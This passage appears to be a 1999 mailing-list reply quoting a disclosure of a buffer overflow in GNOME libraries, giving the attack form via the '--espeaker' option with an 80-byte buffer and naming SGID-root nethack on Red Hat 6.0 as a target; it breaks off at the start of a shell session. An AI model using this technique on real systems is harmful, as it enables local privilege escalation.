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1999 Sep 28
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Re: Linux GNOME exploit
Brock Tellier <btellier@WEBLEY.COM> writes:
> Virtually any program using the GNOME libraries is vulnerable to a
> buffer overflow attack. The attack comes in the form:
>
> /path/to/gnome/prog --enable-sound --espeaker=$80bytebuffer
> The following exploit should work against any GNOME program, though I
> tried it on (the irony) /usr/games/nethack, which is SGID root by default
> on RH6.0. An attack on any program will look something like this:
>
> [xnec@redhack gnox]$ uname -a; cat /etc/redhat-release; id
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